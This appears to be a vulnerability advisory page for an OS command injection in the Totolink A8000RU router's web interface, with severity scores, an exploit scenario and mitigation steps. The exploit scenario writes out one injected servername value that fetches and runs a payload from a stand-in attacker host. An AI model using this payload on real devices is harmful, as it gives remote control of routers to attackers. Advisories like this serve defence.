DescriptionCVE.org

A flaw has been found in Totolink A8000RU 7.1cu.643_b20200521. This vulnerability affects the function setOpenVpnCertGenerationCfg of the file /cgi-bin/cstecgi.cgi of the component Web Management Interface. Executing a manipulation of the argument servername can lead to os command injection. The attack may be launched remotely. The exploit has been published and may be used.

AnalysisAI

OS command injection in the Totolink A8000RU router (firmware 7.1cu.643_b20200521) allows remote unauthenticated attackers to execute arbitrary commands via the servername parameter of the setOpenVpnCertGenerationCfg function in /cgi-bin/cstecgi.cgi. Publicly available exploit code exists (GitHub PoC), and although the EPSS score is modest (0.89%, 76th percentile), the CVSS 4.0 score of 8.9 reflects network-reachable, no-privilege, no-interaction exploitation with high confidentiality, integrity, and availability impact. …

Vulnerability AssessmentAI

Exploitation Requires network reachability to TCP-accessible Web Management Interface of a Totolink A8000RU running firmware 7.1cu.643_b20200521, and the ability to reach the /cgi-bin/cstecgi.cgi endpoint with the setOpenVpnCertGenerationCfg action. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H, E:P) describes a network-accessible, low-complexity, unauthenticated bug with proven exploit code - a worst-case profile for an internet-exposed device. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker with network reachability to the router's Web Management Interface sends a single crafted HTTP POST to /cgi-bin/cstecgi.cgi invoking setOpenVpnCertGenerationCfg with a servername value containing shell metacharacters (e.g. `; wget http://attacker/x -O /tmp/x; sh /tmp/x`). …
Remediation No vendor-released patch identified at time of analysis - Totolink has not published a fixed firmware build for the A8000RU in the available references (https://www.totolink.net/, https://nvd.nist.gov/vuln/detail/CVE-2026-9454, https://vuldb.com/vuln/365435). … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours: Identify all Totolik A8000RU routers in production (particularly firmware 7.1cu.643_b20200521) and immediately restrict network access to their administration interfaces using firewall rules-permit management access only from specific trusted internal IP ranges. …
